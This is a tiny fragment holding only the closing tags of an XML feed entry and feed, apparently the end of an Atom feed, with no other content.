        
    </entry>
</feed>
